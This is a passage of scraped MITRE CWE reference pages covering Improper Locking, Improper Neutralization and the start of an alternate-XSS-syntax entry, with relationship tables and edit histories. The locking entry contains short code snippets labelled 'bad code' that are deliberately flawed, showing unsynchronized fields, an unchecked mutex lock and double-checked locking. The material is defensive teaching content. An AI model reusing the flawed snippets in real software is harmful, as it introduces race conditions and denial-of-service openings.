CERT C Secure CodingFIO02-CCanonicalize path names originating from untrusted sources
CERT C Secure CodingPOS01-CCheck for the existence of links when dealing with files
SEI CERT Perl Coding StandardFIO01-PLCWE More SpecificDo not operate on files that can be modified by untrusted users
Software Fault PatternsSFP18Link in resource name resolution
+ References
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 9, "Symbolic Link Attacks", Page 518. 1st Edition. Addison Wesley. 2006.
[REF-1282] Snyk. "Zip Slip Vulnerability". 2018-06-05. <https://security.snyk.io/research/zip-slip-vulnerability>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Alternate_Terms, Applicable_Platforms, Relationships, Other_Notes, Relationship_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-01-12CWE Content TeamMITRE
updated Relationships
2009-05-27CWE Content TeamMITRE
updated Description, Name
2009-10-29CWE Content TeamMITRE
updated Background_Details, Other_Notes
2010-02-16CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2010-04-05CWE Content TeamMITRE
updated Related_Attack_Patterns
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Observed_Examples, References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated Common_Consequences, Other_Notes
2014-07-30CWE Content TeamMITRE
updated Detection_Factors, Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Affected_Resources, Applicable_Platforms, Causal_Nature, Common_Consequences, Functional_Areas, Likelihood_of_Exploit, Modes_of_Introduction, Relationships, Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-04-28CWE Content TeamMITRE
updated Research_Gaps
2022-06-28CWE Content TeamMITRE
updated Relationships
2022-10-13CWE Content TeamMITRE
updated Alternate_Terms, Background_Details, Observed_Examples, References, Relationship_Notes, Theoretical_Notes
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Link Following
2009-05-27Failure to Resolve Links Before File Access (aka 'Link Following')

CWE-667: Improper Locking

Weakness ID: 667
Vulnerability Mapping: ALLOWEDThis CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not properly acquire or release a lock on a resource, leading to unexpected resource state changes and behaviors.
+ Extended Description

Locking is a type of synchronization behavior that ensures that multiple independently-operating processes or threads do not interfere with each other when accessing the same resource. All processes/threads are expected to follow the same steps for locking. If these steps are not followed precisely - or if no locking is done at all - then another process/thread could modify the shared resource in a way that is not visible or predictable to the original process. This can lead to data or memory corruption, denial of service, etc.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.662Improper Synchronization
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.412Unrestricted Externally Accessible Lock
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.413Improper Resource Locking
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.414Missing Lock Check
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.609Double-Checked Locking
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.764Multiple Locks of a Critical Resource
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.765Multiple Unlocks of a Critical Resource
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.832Unlock of a Resource that is not Locked
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.833Deadlock
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1232Improper Lock Behavior After Power State Transition
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1233Security-Sensitive Hardware Controls with Missing Lock Bit Protection
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1234Hardware Internal or Debug Modes Allow Override of Locks
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.662Improper Synchronization
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.662Improper Synchronization
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.662Improper Synchronization
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Availability

Technical Impact: DoS: Resource Consumption (CPU)

Inconsistent locking discipline can lead to deadlock.
+ Demonstrative Examples

Example 1

In the following Java snippet, methods are defined to get and set a long field in an instance of a class that is shared across multiple threads. Because operations on double and long are nonatomic in Java, concurrent access may cause unexpected behavior. Thus, all operations on long and double fields should be synchronized.

(bad code)
Example Language: Java 
private long someLongValue;
public long getLongValue() {
return someLongValue;
}

public void setLongValue(long l) {
someLongValue = l;
}

Example 2

This code tries to obtain a lock for a file, then writes to it.

(bad code)
Example Language: PHP 
function writeToLog($message){
$logfile = fopen("logFile.log", "a");
//attempt to get logfile lock
if (flock($logfile, LOCK_EX)) {
fwrite($logfile,$message);
// unlock logfile
flock($logfile, LOCK_UN);
}
else {
print "Could not obtain lock on logFile.log, message not recorded\n";
}
}
fclose($logFile);

PHP by default will wait indefinitely until a file lock is released. If an attacker is able to obtain the file lock, this code will pause execution, possibly leading to denial of service for other users. Note that in this case, if an attacker can perform an flock() on the file, they may already have privileges to destroy the log file. However, this still impacts the execution of other programs that depend on flock().

Example 3

The following function attempts to acquire a lock in order to perform operations on a shared resource.

(bad code)
Example Language:
void f(pthread_mutex_t *mutex) {
pthread_mutex_lock(mutex);

/* access shared resource */


pthread_mutex_unlock(mutex);
}

However, the code does not check the value returned by pthread_mutex_lock() for errors. If pthread_mutex_lock() cannot acquire the mutex for any reason, the function may introduce a race condition into the program and result in undefined behavior.

In order to avoid data races, correctly written programs must check the result of thread synchronization functions and appropriately handle all errors, either by attempting to recover from them or reporting them to higher levels.

(good code)
Example Language:
int f(pthread_mutex_t *mutex) {
int result;

result = pthread_mutex_lock(mutex);
if (0 != result)
return result;


/* access shared resource */


return pthread_mutex_unlock(mutex);
}

Example 4

It may seem that the following bit of code achieves thread safety while avoiding unnecessary synchronization...

(bad code)
Example Language: Java 
if (helper == null) {
synchronized (this) {
if (helper == null) {
helper = new Helper();
}
}
}
return helper;

The programmer wants to guarantee that only one Helper() object is ever allocated, but does not want to pay the cost of synchronization every time this code is called.

Suppose that helper is not initialized. Then, thread A sees that helper==null and enters the synchronized block and begins to execute:

(bad code)
 
helper = new Helper();

If a second thread, thread B, takes over in the middle of this call and helper has not finished running the constructor, then thread B may make calls on helper while its fields hold incorrect values.

+ Observed Examples
ReferenceDescription
Chain: improper locking (CWE-667) leads to race condition (CWE-362), as exploited in the wild per CISA KEV.
Attacker provides invalid address to a memory-reading function, causing a mutex to be unlocked twice
function in OS kernel unlocks a mutex that was not previously locked, causing a panic or overwrite of arbitrary memory.
Chain: OS kernel does not properly handle a failure of a function call (CWE-755), leading to an unlock of a resource that was not locked (CWE-832), with resultant crash.
OS kernel performs an unlock in some incorrect circumstances, leading to panic.
OS deadlock
OS deadlock involving 3 separate functions
deadlock in library
deadlock triggered by packets that force collisions in a routing table
read/write deadlock between web server and script
web server deadlock involving multiple listening connections
multiple simultaneous calls to the same function trigger deadlock.
chain: other weakness leads to NULL pointer dereference (CWE-476) or deadlock (CWE-833).
deadlock when an operation is performed on a resource while it is being removed.
Deadlock in device driver triggered by using file handle of a related device.
Deadlock when large number of small messages cannot be processed quickly enough.
OS kernel has deadlock triggered by a signal during a core dump.
Race condition leads to deadlock.
Chain: array index error (CWE-129) leads to deadlock (CWE-833)
Program can not execute when attacker obtains a mutex.
Program can not execute when attacker obtains a lock on a critical output file.
Program can not execute when attacker obtains a lock on a critical output file.
Critical file can be opened with exclusive read access by user, preventing application of security policy. Possibly related to improper permissions, large-window race condition.
Chain: predictable file names used for locking, allowing attacker to create the lock beforehand. Resultant from permissions and randomness.
Chain: Lock files with predictable names. Resultant from randomness.
Product does not check if it can write to a log file, allowing attackers to avoid logging by accessing the file using an exclusive lock. Overlaps unchecked error condition. This is not quite CWE-412, but close.
+ Potential Mitigations

Phase: Implementation

Strategy: Libraries or Frameworks

Use industry standard APIs to implement locking mechanism.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.748CERT C Secure Coding Standard (2008) Appendix - POSIX (POS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.852The CERT Oracle Secure Coding Standard for Java (2011) Chapter 9 - Visibility and Atomicity (VNA)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.853The CERT Oracle Secure Coding Standard for Java (2011) Chapter 10 - Locking (LCK)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.986SFP Secondary Cluster: Missing Lock
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1131CISQ Quality Measures (2016) - Security
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1142SEI CERT Oracle Secure Coding Standard for Java - Guidelines 08. Visibility and Atomicity (VNA)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1143SEI CERT Oracle Secure Coding Standard for Java - Guidelines 09. Locking (LCK)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1169SEI CERT C Coding Standard - Guidelines 14. Concurrency (CON)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1171SEI CERT C Coding Standard - Guidelines 50. POSIX (POS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1401Comprehensive Categorization: Concurrency
+ Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Abstraction

Rationale:

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit
+ Notes

Maintenance

Deeper research is necessary for synchronization and related mechanisms, including locks, mutexes, semaphores, and other mechanisms. Multiple entries are dependent on this research, which includes relationships to concurrency, race conditions, reentrant functions, etc. CWE-662 and its children - including CWE-667, CWE-820, CWE-821, and others - may need to be modified significantly, along with their relationships.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CERT C Secure CodingCON31-CCWE More AbstractDo not destroy a mutex while it is locked
CERT C Secure CodingPOS48-CCWE More AbstractDo not unlock or destroy another POSIX thread's mutex
The CERT Oracle Secure Coding Standard for Java (2011)VNA00-JEnsure visibility when accessing shared primitive variables
The CERT Oracle Secure Coding Standard for Java (2011)VNA02-JEnsure that compound operations on shared variables are atomic
The CERT Oracle Secure Coding Standard for Java (2011)VNA05-JEnsure atomicity when reading and writing 64-bit values
The CERT Oracle Secure Coding Standard for Java (2011)LCK06-JDo not use an instance lock to protect shared static data
Software Fault PatternsSFP19Missing Lock
OMG ASCSMASCSM-CWE-667
+ References
[REF-962] Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". ASCSM-CWE-667. 2016-01. <http://www.omg.org/spec/ASCSM/1.0/>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2008-04-11
(CWE Draft 9, 2008-04-11)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-03-10CWE Content TeamMITRE
updated Related_Attack_Patterns
2009-05-27CWE Content TeamMITRE
updated Relationships
2009-07-27CWE Content TeamMITRE
updated Common_Consequences
2010-09-27CWE Content TeamMITRE
updated Relationships
2010-12-13CWE Content TeamMITRE
updated Description, Name, Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, Observed_Examples, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-05-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2017-11-08CWE Content TeamMITRE
updated Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated References, Relationships, Taxonomy_Mappings
2019-09-19CWE Content TeamMITRE
updated Relationships
2019-09-23CWE Content TeamMITRE
updated Description, Maintenance_Notes, Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships, Type
2020-08-20CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Demonstrative_Examples
2022-06-28CWE Content TeamMITRE
updated Observed_Examples
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2010-12-13Insufficient Locking

CWE-707: Improper Neutralization

Weakness ID: 707
Vulnerability Mapping: DISCOURAGEDThis CWE ID should not be used to map to real-world vulnerabilities
Abstraction: PillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not ensure or incorrectly ensures that structured messages or data are well-formed and that certain security properties are met before being read from an upstream component or sent to a downstream component.
+ Extended Description

If a message is malformed, it may cause the message to be incorrectly interpreted.

Neutralization is an abstract term for any technique that ensures that input (and output) conforms with expectations and is "safe." This can be done by:

  • checking that the input/output is already "safe" (e.g. validation)
  • transformation of the input/output to be "safe" using techniques such as filtering, encoding/decoding, escaping/unescaping, quoting/unquoting, or canonicalization
  • preventing the input/output from being directly provided by an attacker (e.g. "indirect selection" that maps externally-provided values to internally-controlled values)
  • preventing the input/output from being processed at all

This weakness typically applies in cases where the product prepares a control message that another process must act on, such as a command or query, and malicious input that was intended as data, can enter the control plane instead. However, this weakness also applies to more general cases where there are not always control implications.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1000Research Concepts
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.20Improper Input Validation
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.74Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.116Improper Encoding or Escaping of Output
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.138Improper Neutralization of Special Elements
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.170Improper Null Termination
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.172Encoding Error
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.228Improper Handling of Syntactically Invalid Structure
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.240Improper Handling of Inconsistent Structural Elements
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.463Deletion of Data Structure Sentinel
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1020Verify Message Integrity
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Operating Systems

Class: Not OS-Specific (Undetermined Prevalence)

Architectures

Class: Not Architecture-Specific (Undetermined Prevalence)

Technologies

Class: Not Technology-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Other

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1370ICS Supply Chain: Common Mode Frailties
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1407Comprehensive Categorization: Improper Neutralization
+ Vulnerability Mapping Notes

Usage: DISCOURAGED

(this CWE ID should not be used to map to real-world vulnerabilities)

Reason: Abstraction

Rationale:

This CWE entry is extremely high-level, a Pillar.

Comments:

Consider children or descendants of this entry instead.
+ Notes

Maintenance

Concepts such as validation, data transformation, and neutralization are being refined, so relationships between CWE-20 and other entries such as CWE-707 may change in future versions, along with an update to the Vulnerability Theory document.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2008-09-09
(CWE 1.0, 2008-09-09)
CWE Content TeamMITRE
Note: this date reflects when the entry was first published. Draft versions of this entry were provided to members of the CWE community and modified between Draft 9 and 1.0.
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2009-01-12CWE Content TeamMITRE
updated Relationships
2009-03-10CWE Content TeamMITRE
updated Related_Attack_Patterns
2009-05-27CWE Content TeamMITRE
updated Description, Name
2009-07-27CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2014-02-18CWE Content TeamMITRE
updated Related_Attack_Patterns
2014-07-30CWE Content TeamMITRE
updated Relationships
2015-12-07CWE Content TeamMITRE
updated Applicable_Platforms, Relationships
2017-01-19CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Modes_of_Introduction, Relationships
2019-01-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2020-02-24CWE Content TeamMITRE
updated Applicable_Platforms, Description, Name, Relationships, Type
2020-06-25CWE Content TeamMITRE
updated Description, Maintenance_Notes
2020-08-20CWE Content TeamMITRE
updated Related_Attack_Patterns
2022-04-28CWE Content TeamMITRE
updated Related_Attack_Patterns
2023-04-27CWE Content TeamMITRE
updated Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2009-05-27Failure to Enforce that Messages or Data are Well-Formed
2020-02-24Improper Enforcement of Message or Data Structure

CWE-87: Improper Neutralization of Alternate XSS Syntax

Weakness ID: 87
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not neutralize or incorrectly neutralizes user-controlled input for alternate script syntax.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.79Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity
Availability

Technical Impact: Read Application Data; Execute Unauthorized Code or Commands

+ Demonstrative Examples

Example 1

